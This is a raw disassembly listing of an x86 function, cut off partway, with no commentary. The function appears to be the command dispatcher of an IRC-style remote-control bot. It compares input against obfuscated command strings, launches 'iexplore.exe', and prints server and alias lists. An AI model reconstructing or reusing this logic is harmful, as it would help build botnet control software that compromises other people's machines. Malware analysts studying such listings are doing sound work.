var_1A34	= dword	ptr -1A34h
var_1A2C	= dword	ptr -1A2Ch
var_1A28	= byte ptr -1A28h
var_19A8	= dword	ptr -19A8h
var_197C	= dword	ptr -197Ch
var_1978	= dword	ptr -1978h
var_1970	= dword	ptr -1970h
var_1968	= dword	ptr -1968h
var_1964	= byte ptr -1964h
var_18E4	= byte ptr -18E4h
var_1864	= dword	ptr -1864h
var_1860	= dword	ptr -1860h
var_185C	= dword	ptr -185Ch
var_1858	= dword	ptr -1858h
var_1854	= dword	ptr -1854h
var_1850	= dword	ptr -1850h
var_184C	= dword	ptr -184Ch
var_1848	= byte ptr -1848h
var_17C8	= byte ptr -17C8h
var_1748	= dword	ptr -1748h
var_1744	= dword	ptr -1744h
var_173C	= dword	ptr -173Ch
var_1738	= dword	ptr -1738h
var_1734	= dword	ptr -1734h
var_1730	= dword	ptr -1730h
var_172C	= dword	ptr -172Ch
var_1724	= byte ptr -1724h
var_16A4	= byte ptr -16A4h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= dword	ptr -1614h
var_1610	= dword	ptr -1610h
var_160C	= dword	ptr -160Ch
var_1608	= dword	ptr -1608h
var_1600	= dword	ptr -1600h
var_15FC	= dword	ptr -15FCh
var_15F4	= byte ptr -15F4h
var_1574	= byte ptr -1574h
var_14EC	= dword	ptr -14ECh
var_14E8	= dword	ptr -14E8h
var_14E4	= dword	ptr -14E4h
var_14E0	= dword	ptr -14E0h
var_14DC	= dword	ptr -14DCh
var_14D8	= dword	ptr -14D8h
var_14D0	= dword	ptr -14D0h
var_14CC	= dword	ptr -14CCh
var_14C4	= byte ptr -14C4h
var_1444	= byte ptr -1444h
var_13BC	= dword	ptr -13BCh
var_13B8	= dword	ptr -13B8h
var_13B4	= dword	ptr -13B4h
var_13B0	= dword	ptr -13B0h
var_13AC	= dword	ptr -13ACh
var_13A8	= dword	ptr -13A8h
var_13A0	= dword	ptr -13A0h
var_139C	= dword	ptr -139Ch
var_1398	= byte ptr -1398h
var_1318	= byte ptr -1318h
var_1298	= dword	ptr -1298h
var_1294	= dword	ptr -1294h
var_1290	= dword	ptr -1290h
var_128C	= dword	ptr -128Ch
var_1288	= dword	ptr -1288h
var_1284	= dword	ptr -1284h
var_127C	= dword	ptr -127Ch
var_1278	= dword	ptr -1278h
var_1274	= byte ptr -1274h
var_11F4	= byte ptr -11F4h
var_1174	= dword	ptr -1174h
var_1170	= dword	ptr -1170h
var_116C	= dword	ptr -116Ch
var_1168	= dword	ptr -1168h
var_1164	= dword	ptr -1164h
var_1160	= dword	ptr -1160h
var_115C	= dword	ptr -115Ch
var_1158	= dword	ptr -1158h
var_1154	= byte ptr -1154h
var_10D4	= byte ptr -10D4h
var_1054	= dword	ptr -1054h
var_1050	= dword	ptr -1050h
var_104C	= dword	ptr -104Ch
var_1048	= dword	ptr -1048h
var_1044	= dword	ptr -1044h
var_1040	= dword	ptr -1040h
var_103C	= dword	ptr -103Ch
var_1038	= dword	ptr -1038h
var_1034	= byte ptr -1034h
var_FB4		= byte ptr -0FB4h
var_F34		= dword	ptr -0F34h
var_F30		= dword	ptr -0F30h
var_F2C		= dword	ptr -0F2Ch
var_F28		= dword	ptr -0F28h
var_F24		= dword	ptr -0F24h
var_F20		= dword	ptr -0F20h
var_F1C		= dword	ptr -0F1Ch
var_F18		= dword	ptr -0F18h
var_F14		= byte ptr -0F14h
var_E94		= dword	ptr -0E94h
var_E84		= dword	ptr -0E84h
var_E80		= dword	ptr -0E80h
var_E68		= dword	ptr -0E68h
var_E64		= dword	ptr -0E64h
var_E5C		= dword	ptr -0E5Ch
var_E54		= dword	ptr -0E54h
var_E50		= byte ptr -0E50h
var_DD0		= dword	ptr -0DD0h
var_DC0		= dword	ptr -0DC0h
var_DBC		= dword	ptr -0DBCh
var_DA4		= dword	ptr -0DA4h
var_DA0		= dword	ptr -0DA0h
var_D98		= dword	ptr -0D98h
var_D90		= byte ptr -0D90h
var_D5C		= byte ptr -0D5Ch
var_D28		= byte ptr -0D28h
var_CF4		= byte ptr -0CF4h
var_CE4		= dword	ptr -0CE4h
var_CE0		= byte ptr -0CE0h
var_C60		= dword	ptr -0C60h
var_C58		= dword	ptr -0C58h
var_C54		= dword	ptr -0C54h
var_C50		= dword	ptr -0C50h
var_C4C		= dword	ptr -0C4Ch
var_C48		= dword	ptr -0C48h
var_C44		= byte ptr -0C44h
var_BC4		= dword	ptr -0BC4h
var_BC0		= dword	ptr -0BC0h
var_BBC		= dword	ptr -0BBCh
var_BB8		= dword	ptr -0BB8h
var_BB4		= dword	ptr -0BB4h
var_BB0		= dword	ptr -0BB0h
var_BAC		= byte ptr -0BACh
var_B2C		= dword	ptr -0B2Ch
var_B1C		= dword	ptr -0B1Ch
var_B00		= dword	ptr -0B00h
var_AFC		= dword	ptr -0AFCh
var_AF8		= dword	ptr -0AF8h
var_AF4		= dword	ptr -0AF4h
var_AEC		= dword	ptr -0AECh
var_AE8		= byte ptr -0AE8h
var_A68		= dword	ptr -0A68h
var_A4C		= dword	ptr -0A4Ch
var_A3C		= dword	ptr -0A3Ch
var_A38		= dword	ptr -0A38h
var_A30		= dword	ptr -0A30h
var_A28		= dword	ptr -0A28h
var_A24		= byte ptr -0A24h
var_970		= dword	ptr -970h
var_964		= dword	ptr -964h
var_95C		= byte ptr -95Ch
var_85C		= dword	ptr -85Ch
var_858		= dword	ptr -858h
var_850		= dword	ptr -850h
var_848		= dword	ptr -848h
var_840		= dword	ptr -840h
var_838		= dword	ptr -838h
var_834		= dword	ptr -834h
var_82C		= dword	ptr -82Ch
var_828		= byte ptr -828h
var_7A8		= dword	ptr -7A8h
var_7A4		= dword	ptr -7A4h
var_77C		= dword	ptr -77Ch
var_778		= dword	ptr -778h
var_774		= dword	ptr -774h
var_770		= dword	ptr -770h
var_768		= byte ptr -768h
var_728		= dword	ptr -728h
var_724		= byte ptr -724h
var_6A4		= dword	ptr -6A4h
var_6A0		= dword	ptr -6A0h
var_69C		= dword	ptr -69Ch
var_694		= dword	ptr -694h
var_690		= dword	ptr -690h
var_68C		= dword	ptr -68Ch
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_66C		= dword	ptr -66Ch
var_664		= dword	ptr -664h
var_660		= byte ptr -660h
var_5E0		= dword	ptr -5E0h
var_5DC		= dword	ptr -5DCh
var_5D8		= dword	ptr -5D8h
var_5D0		= dword	ptr -5D0h
var_5CC		= dword	ptr -5CCh
var_5C8		= dword	ptr -5C8h
var_5C4		= dword	ptr -5C4h
var_5B4		= dword	ptr -5B4h
var_5B0		= dword	ptr -5B0h
var_5AC		= dword	ptr -5ACh
var_5A8		= dword	ptr -5A8h
var_5A0		= dword	ptr -5A0h
var_59C		= byte ptr -59Ch
var_51C		= dword	ptr -51Ch
var_518		= dword	ptr -518h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4DC		= dword	ptr -4DCh
var_4D8		= byte ptr -4D8h
var_458		= dword	ptr -458h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_42C		= dword	ptr -42Ch
var_428		= dword	ptr -428h
var_424		= dword	ptr -424h
var_420		= dword	ptr -420h
var_418		= byte ptr -418h
var_314		= byte ptr -314h
var_304		= byte ptr -304h
var_2F4		= word ptr -2F4h
var_2F2		= word ptr -2F2h
var_2F0		= dword	ptr -2F0h
var_2E4		= byte ptr -2E4h
var_2D4		= byte ptr -2D4h
var_2C4		= byte ptr -2C4h
var_244		= dword	ptr -244h
var_240		= dword	ptr -240h
var_23C		= dword	ptr -23Ch
var_238		= dword	ptr -238h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_200		= dword	ptr -200h
var_1F8		= dword	ptr -1F8h
var_174		= byte ptr -174h
var_164		= byte ptr -164h
var_154		= byte ptr -154h
var_D4		= dword	ptr -0D4h
var_D0		= dword	ptr -0D0h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= word ptr -90h
var_8E		= dword	ptr -8Eh
var_80		= byte ptr -80h
var_7C		= dword	ptr -7Ch
var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_68		= dword	ptr -68h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_2C		= dword	ptr  34h
arg_30		= dword	ptr  38h
arg_34		= dword	ptr  3Ch
arg_38		= byte ptr  40h
arg_3C		= dword	ptr  44h
arg_40		= dword	ptr  48h
arg_44		= dword	ptr  4Ch
arg_48		= dword	ptr  50h
arg_4C		= dword	ptr  54h
arg_50		= dword	ptr  58h
arg_54		= dword	ptr  5Ch
arg_58		= dword	ptr  60h
arg_5C		= dword	ptr  64h
arg_60		= dword	ptr  68h
arg_64		= dword	ptr  6Ch
arg_68		= dword	ptr  70h

		push	ebp
		mov	ebp, esp
		mov	eax, 6DBB0h
		call	sub_429B60
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	[ebp+arg_68], esi
		push	edi
		mov	edi, dword_437178
		jz	short loc_40AA51
		push	dword ptr [ebx]
		push	offset aDehziSaO0 ; "deHZI/SA//o0"
		call	edi ; dword_437178
		test	eax, eax
		jz	loc_414995
		push	dword ptr [ebx]
		push	offset aEuior0ay2w7__0 ; "EUIOR0ay2w7."
		call	edi ; dword_437178
		test	eax, eax
		jz	loc_414995
		push	dword ptr [ebx]
		push	offset aUc6wg1ovwvt1 ; "uc6Wg1OvWVt1"
		call	edi ; dword_437178
		test	eax, eax
		jz	loc_414995


loc_40AA51:				; CODE XREF: sub_40A9FE+1Ej
		cmp	[ebp+arg_24], esi
		jz	loc_40AE0F
		push	dword ptr [ebx]
		push	offset aOb4iqKj5ue_ ; "Ob4iQ/KJ5ue."
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40AA86
		push	offset aO_sxv_ze9bk1go ; "O.sxv.ze9bK1GOISY.dO.Vn1"
		push	6


loc_40AA6E:				; CODE XREF: sub_40A9FE+9Cj
					; sub_40A9FE+B2j ...
		push	esi
		mov	eax, [ebp+arg_C]
		push	[ebp+arg_20]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	dword ptr [eax+0Ch]
		jmp	loc_412CB2
; ---------------------------------------------------------------------------


loc_40AA86:				; CODE XREF: sub_40A9FE+67j
		push	dword ptr [ebx]
		push	offset aHyomeIovtv_ ; "HyOMe/iovtV."
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40AA9C
		push	offset aAl_N0kenp20 ; "Al./N0Kenp20"
		push	2
		jmp	short loc_40AA6E
; ---------------------------------------------------------------------------


loc_40AA9C:				; CODE XREF: sub_40A9FE+93j
		push	dword ptr [ebx]
		push	offset a47ff020f_0_ ; "47Ff/020f.0."
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40AAB2
		push	offset aAl_N0kenp20 ; "Al./N0Kenp20"
		push	1
		jmp	short loc_40AA6E
; ---------------------------------------------------------------------------


loc_40AAB2:				; CODE XREF: sub_40A9FE+A9j
		push	dword ptr [ebx]
		push	offset aG3obv_r6j7h ; "g3obv.r6j7H/"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40AAC8
		push	offset aLtlec18us5q0 ; "LTLec18US5q0"
		push	12h
		jmp	short loc_40AA6E
; ---------------------------------------------------------------------------


loc_40AAC8:				; CODE XREF: sub_40A9FE+BFj
		push	dword ptr [ebx]
		push	offset aM5spx_qp7lx_ ; "M5sPX.Qp7Lx."
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40AADE
		push	offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1"
		push	13h
		jmp	short loc_40AA6E
; ---------------------------------------------------------------------------


loc_40AADE:				; CODE XREF: sub_40A9FE+D5j
		push	dword ptr [ebx]
		push	offset a9ljbh07crkd_ ; "9lJBH07crkD."
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40AAF7
		push	offset a7_pak0onymn7ra ; "7.PaK0OnymN/7Razv/1FefF."
		push	14h
		jmp	loc_40AA6E
; ---------------------------------------------------------------------------


loc_40AAF7:				; CODE XREF: sub_40A9FE+EBj
		push	dword ptr [ebx]
		push	offset aVp1weJvqbn_ ; "VP1WE/JVQbn."
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40AB10
		push	offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
		push	4
		jmp	loc_40AA6E
; ---------------------------------------------------------------------------


loc_40AB10:				; CODE XREF: sub_40A9FE+104j
		push	dword ptr [ebx]
		push	offset aQbwgd0cfxf_ ; "qbwGd0CFxf./"
		call	edi ; dword_437178
		test	eax, eax
		jz	loc_40AE03
		push	dword ptr [ebx]
		push	offset a2mo7g0_b0qj ; "2mo7G0.B0qj/"
		call	edi ; dword_437178
		test	eax, eax
		jz	loc_40AE03
		push	dword ptr [ebx]
		push	offset a9bwj__lz2my0 ; "9bWj..lZ2My0"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40AB5B
		push	[ebp+arg_20]
		mov	eax, [ebp+arg_C]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	dword ptr [eax+0Ch]
		call	sub_4033A3
		jmp	loc_41479B
; ---------------------------------------------------------------------------


loc_40AB5B:				; CODE XREF: sub_40A9FE+13Fj
		push	dword ptr [ebx]
		push	offset aH1cmq0wqw5c_ ; "h1cMQ0wQw5C."
		call	edi ; dword_437178
		test	eax, eax
		jz	loc_40ADF7
		push	dword ptr [ebx]
		push	offset aSxytb1_eejq_ ; "SXYtb1.EEjQ."
		call	edi ; dword_437178
		test	eax, eax
		jz	loc_40ADF7
		push	dword ptr [ebx]
		push	offset aVb1r0N_arr0 ; "vB1r0/N.Arr0"
		call	edi ; dword_437178
		test	eax, eax
		jz	loc_40ADF7
		push	dword ptr [ebx]
		push	offset a8im6i__c829_ ; "8Im6i..C829."
		call	edi ; dword_437178
		test	eax, eax
		jz	loc_40ADF7
		push	dword ptr [ebx]
		push	offset aTiyj208fhvn_ ; "tIYj208FHvN."
		call	edi ; dword_437178
		test	eax, eax
		jz	loc_40ADF7
		push	dword ptr [ebx]
		push	offset a5ngN0zjh2i1 ; "5nG/N0ZJh2i1"
		call	edi ; dword_437178
		test	eax, eax
		jz	loc_40ADF7
		push	dword ptr [ebx]
		push	offset aMdf9n0kzpx60 ; "mdf9n0kzPX60"
		call	edi ; dword_437178
		test	eax, eax
		jz	loc_40ADF7
		push	dword ptr [ebx]
		push	offset aAtfv_jgk0x1 ; "/ATfv.jgK0X1"
		call	edi ; dword_437178
		test	eax, eax
		jz	loc_40ADF7
		push	dword ptr [ebx]
		push	offset aFu6k10irsc1 ; "fu6k10iRsc/1"
		call	edi ; dword_437178
		test	eax, eax
		jz	loc_40ADF7
		push	dword ptr [ebx]
		push	offset a_luua_bruje0 ; ".lUua.bruje0"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40AC0D
		push	offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		push	9
		jmp	loc_40AA6E
; ---------------------------------------------------------------------------


loc_40AC0D:				; CODE XREF: sub_40A9FE+201j
		push	dword ptr [ebx]
		push	offset aUycsBekwp0 ; "/uYcs/BEKWP0"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40AC26
		push	offset aXlpyr1anpgm0 ; "xLpyR1aNPGm0"
		push	0Ah
		jmp	loc_40AA6E
; ---------------------------------------------------------------------------


loc_40AC26:				; CODE XREF: sub_40A9FE+21Aj
		push	dword ptr [ebx]
		push	offset aFhzdv1ootfg0 ; "fhzdV1OotFg0"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40AC3F
		push	offset aWpukb_0uioaOfu ; "WPUkb.0uIoa/OFUur11TNYw0"
		push	0Bh
		jmp	loc_40AA6E
; ---------------------------------------------------------------------------


loc_40AC3F:				; CODE XREF: sub_40A9FE+233j
		push	dword ptr [ebx]
		push	offset aUfbss0cbo8c__0 ; "uFbSS0Cbo8C."
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40AC53
		push	offset aHuudgYqzdz ; "HuuDG/YQZDz/"
		jmp	short loc_40AC65
; ---------------------------------------------------------------------------


loc_40AC53:				; CODE XREF: sub_40A9FE+24Cj
		push	dword ptr [ebx]
		push	offset aNoazx1alvg0 ; "NoaZx1Alvg/0"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40AC6C
		push	offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1"


loc_40AC65:				; CODE XREF: sub_40A9FE+253j
		push	11h
		jmp	loc_40AA6E
; ---------------------------------------------------------------------------


loc_40AC6C:				; CODE XREF: sub_40A9FE+260j
		push	dword ptr [ebx]
		push	offset aSud8hRsu8j1 ; "sUd8h/rsu8j1"
		call	edi ; dword_437178
		test	eax, eax
		jz	loc_40ADEB
		push	dword ptr [ebx]
		push	offset aJ2yyw_j09xc ; "j2yYw.J09XC/"
		call	edi ; dword_437178
		test	eax, eax
		jz	loc_40ADEB
		push	dword ptr [ebx]
		push	offset aRiocl1kztwo0 ; "rioCl1kzTWO0"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40ACA7
		push	offset aWulzr_x7xjb0 ; "WUlZR.X7XjB0"
		push	15h
		jmp	loc_40AA6E
; ---------------------------------------------------------------------------


loc_40ACA7:				; CODE XREF: sub_40A9FE+29Bj
		push	dword ptr [ebx]
		push	offset a7fugu_n0u2m1 ; "7FUgU.N0U2m1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40ACBE
		push	offset aBjatzQyrs11 ; "BjAtz/qyRS11"
		jmp	loc_40ADE4
; ---------------------------------------------------------------------------


loc_40ACBE:				; CODE XREF: sub_40A9FE+2B4j
		push	dword ptr [ebx]
		push	offset aUbqs_hzpkh1 ; "/uBQS.HZPkh1"
		call	edi ; dword_437178
		test	eax, eax
		jz	loc_40ADDF
		push	dword ptr [ebx]
		push	offset a6x7zf1eztny_ ; "6x7zf1EztnY."
		call	edi ; dword_437178
		test	eax, eax
		jz	loc_40ADDF
		push	dword ptr [ebx]
		push	offset aFyflu0ji3xh_ ; "FyFlU0jI3XH."
		call	edi ; dword_437178
		test	eax, eax
		jz	loc_40ADDF
		push	dword ptr [ebx]
		push	offset a7otcu0fic6v0 ; "7otcU0FiC6V0"
		call	edi ; dword_437178
		test	eax, eax
		jz	loc_40ADDF
		push	dword ptr [ebx]
		push	offset aXmz20Gjkq ; "xMz20//gJkQ/"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40AD19
		push	offset aLcgg60qk2mf0 ; "Lcgg60QK2mf0"
		jmp	loc_40ADE4
; ---------------------------------------------------------------------------


loc_40AD19:				; CODE XREF: sub_40A9FE+30Fj
		push	dword ptr [ebx]
		push	offset aX_62c_3ldcp ; "X.62C.3LDCP/"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40AD30
		push	offset aXwzwo1pqcgt16n ; "XWzwO1PqcgT16N5aw.affEY1"
		jmp	loc_40ADE4
; ---------------------------------------------------------------------------


loc_40AD30:				; CODE XREF: sub_40A9FE+326j
		push	dword ptr [ebx]
		push	offset aImvbw1shwxq0 ; "iMvbW1SHwxQ0"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40AD47
		push	offset aAxauo_rlggx0 ; "aXauo.rLGgX0"
		jmp	loc_40ADE4
; ---------------------------------------------------------------------------


loc_40AD47:				; CODE XREF: sub_40A9FE+33Dj
		push	dword ptr [ebx]
		push	offset aUyfog_dvvny0 ; "UyfOG.DvVnY0"
		call	edi ; dword_437178
		test	eax, eax
		jz	loc_40ADD8
		push	dword ptr [ebx]
		push	offset aPsern1aagh6_ ; "pSern1AAGh6."
		call	edi ; dword_437178
		test	eax, eax
		jz	short loc_40ADD8
		push	dword ptr [ebx]
		push	offset aXkg84_cesgs_ ; "XkG84.cESgs."
		call	edi ; dword_437178
		test	eax, eax
		jz	short loc_40ADD8
		push	dword ptr [ebx]
		push	offset aP06vqBfbmo_ ; "p06vq/BFBMo."
		call	edi ; dword_437178
		test	eax, eax
		jz	short loc_40ADD8
		push	dword ptr [ebx]
		push	offset aW1w2v121jsp_ ; "w1w2V121JSP."
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40AD93
		push	offset aVfeso_qcgdt_ ; "vfEsO.QcgDt."
		jmp	short loc_40ADE4
; ---------------------------------------------------------------------------


loc_40AD93:				; CODE XREF: sub_40A9FE+38Cj
		push	dword ptr [ebx]
		push	offset aEm42x_1iszi1 ; "Em42x.1IsZI1"
		call	edi ; dword_437178
		test	eax, eax
		jz	short loc_40ADAD
		push	dword ptr [ebx]
		push	offset aKmdie1uwntq ; "KmdIe1UwntQ/"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40ADB9


loc_40ADAD:				; CODE XREF: sub_40A9FE+3A0j
		push	offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
		push	0Eh
		jmp	loc_40AA6E
; ---------------------------------------------------------------------------


loc_40ADB9:				; CODE XREF: sub_40A9FE+3ADj
		push	dword ptr [ebx]
		push	offset aV6jbh0k4uD_ ; "V6jBH0k4u/d."
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40AE0F
		push	esi
		push	offset aIexplore_exe ; "iexplore.exe"
		call	sub_41FE3F
		pop	ecx
		pop	ecx
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_40ADD8:				; CODE XREF: sub_40A9FE+354j
					; sub_40A9FE+365j ...
		push	offset aYhzck13caog0 ; "YhzCK13CaOG0"
		jmp	short loc_40ADE4
; ---------------------------------------------------------------------------


loc_40ADDF:				; CODE XREF: sub_40A9FE+2CBj
					; sub_40A9FE+2DCj ...
		push	offset aBvygm_afzkh0 ; "BVYGm.aFzkh0"


loc_40ADE4:				; CODE XREF: sub_40A9FE+2BBj
					; sub_40A9FE+316j ...
		push	0Dh
		jmp	loc_40AA6E
; ---------------------------------------------------------------------------


loc_40ADEB:				; CODE XREF: sub_40A9FE+279j
					; sub_40A9FE+28Aj
		push	offset aWhdag1glagf_ ; "WHdAg1glAgf."
		push	0Fh
		jmp	loc_40AA6E
; ---------------------------------------------------------------------------


loc_40ADF7:				; CODE XREF: sub_40A9FE+168j
					; sub_40A9FE+179j ...
		push	offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		push	8
		jmp	loc_40AA6E
; ---------------------------------------------------------------------------


loc_40AE03:				; CODE XREF: sub_40A9FE+11Dj
					; sub_40A9FE+12Ej
		push	offset aFfec81uznt81 ; "fFEC81UzNT81"
		push	3
		jmp	loc_40AA6E
; ---------------------------------------------------------------------------


loc_40AE0F:				; CODE XREF: sub_40A9FE+56j
					; sub_40A9FE+3C6j
		push	offset aDehziSaO0 ; "deHZI/SA//o0"
		push	dword ptr [ebx]
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40AE69
		cmp	[ebp+arg_20], eax
		mov	edi, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
		mov	esi, offset a5v1zc1efrzg_tc ; "5v1zc1EfRZg.tccap0cH5OH0NHckR.k9Wj.1"
		mov	ebx, offset aSS_1 ; "%s	%s"
		jz	short loc_40AE52
		cmp	[ebp+arg_18], eax
		jnz	short loc_40AE5C
		cmp	[ebp+arg_14], eax
		jnz	loc_414995
		mov	eax, [ebp+arg_C]
		push	esi
		push	edi
		push	ebx
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 14h


loc_40AE52:				; CODE XREF: sub_40A9FE+430j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_40AE5C:				; CODE XREF: sub_40A9FE+435j
		push	esi
		push	edi
		push	ebx


loc_40AE5F:				; CODE XREF: sub_40A9FE+73Fj
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		jmp	loc_414793
; ---------------------------------------------------------------------------


loc_40AE69:				; CODE XREF: sub_40A9FE+41Cj
		push	dword ptr [ebx]
		push	offset aDj9owUmrbd_ ; "dJ9OW/uMRBD."
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40AF5E
		mov	ebx, [ebx+4]
		cmp	ebx, esi
		jnz	short loc_40AECD
		mov	ecx, dword_457D0C
		mov	edx, offset aSsl ; " (SSL)"
		mov	eax, ecx
		imul	eax, 0B8h
		cmp	dword_443FF4[eax], esi
		jnz	short loc_40AEA1
		mov	edx, offset byte_454A54


loc_40AEA1:				; CODE XREF: sub_40A9FE+49Cj
		push	edx
		push	dword_443FF0[eax]
		lea	eax, dword_443F40[eax]
		push	eax
		mov	eax, [ebp+arg_C]
		push	ecx
		push	offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
		push	offset aSServerISDS ; "%s: Server: [%i:	%s:%d%s]"
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		jmp	loc_412CB7
; ---------------------------------------------------------------------------


loc_40AECD:				; CODE XREF: sub_40A9FE+481j
		push	ebx
		push	offset aPlsymAee6v1 ; "PlsYM/aEe6v1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_414995
		mov	esi, [ebp+arg_C]
		push	offset aListComplete ; "-=[List	Complete]=-"
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		xor	ebx, ebx
		add	esp, 0Ch
		cmp	dword_445D20, ebx
		jle	short loc_40AF44
		mov	edi, offset dword_443FF0


loc_40AF02:				; CODE XREF: sub_40A9FE+544j
		cmp	dword ptr [edi+4], 0
		mov	eax, offset aSsl ; " (SSL)"
		jnz	short loc_40AF12
		mov	eax, offset byte_454A54


loc_40AF12:				; CODE XREF: sub_40A9FE+50Dj
		push	offset dword_443F14
		push	eax
		push	dword ptr [edi]
		lea	eax, [edi-0B0h]
		push	eax
		push	ebx
		push	offset aISDSS	; "%i: %s:%d%s,	%s"
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 20h
		inc	ebx
		add	edi, 0B8h
		cmp	ebx, dword_445D20
		jl	short loc_40AF02


loc_40AF44:				; CODE XREF: sub_40A9FE+4FDj
		push	offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
		push	offset aSServerListCom ; "%s Server List complete."
		push	dword ptr [esi+0Ch]


loc_40AF51:				; CODE XREF: sub_40A9FE+46EEj
		push	[ebp+arg_10]
		call	sub_41CE4A
		jmp	loc_41474E
; ---------------------------------------------------------------------------


loc_40AF5E:				; CODE XREF: sub_40A9FE+476j
		push	dword ptr [ebx]
		push	offset aL3nyw_d7tfl_ ; "l3nYW.D7Tfl."
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40B02C
		cmp	[ebp+arg_14], eax
		mov	esi, [ebp+arg_C]
		mov	edi, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
		mov	ebx, offset aSAliasList	; "%s [Alias list]"
		jnz	short loc_40AF96
		cmp	[ebp+arg_18], eax
		jnz	short loc_40AF9C
		push	edi
		push	ebx
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 10h


loc_40AF96:				; CODE XREF: sub_40A9FE+581j
		cmp	[ebp+arg_18], 0
		jz	short loc_40AFAB


loc_40AF9C:				; CODE XREF: sub_40A9FE+586j
		push	edi
		push	ebx
		push	dword ptr [esi]
		push	[ebp+arg_10]
		call	sub_41CDD4
		add	esp, 10h


loc_40AFAB:				; CODE XREF: sub_40A9FE+59Cj
		xor	ebx, ebx
		cmp	dword_437330, ebx
		jle	loc_414995
		mov	edi, offset dword_4570C0


loc_40AFBE:				; CODE XREF: sub_40A9FE+627j
		cmp	byte ptr [edi],	0
		jz	short loc_40B018
		lea	eax, [edi+18h]
		push	eax
		push	edi
		push	ebx
		lea	eax, [ebp+var_26EE0]
		push	offset aD_SS	; "%d. %s = %s"
		push	eax
		call	sub_429B03
		add	esp, 14h
		cmp	[ebp+arg_14], 0
		jnz	short loc_40AFFE
		cmp	[ebp+arg_18], 0
		jnz	short loc_40B004
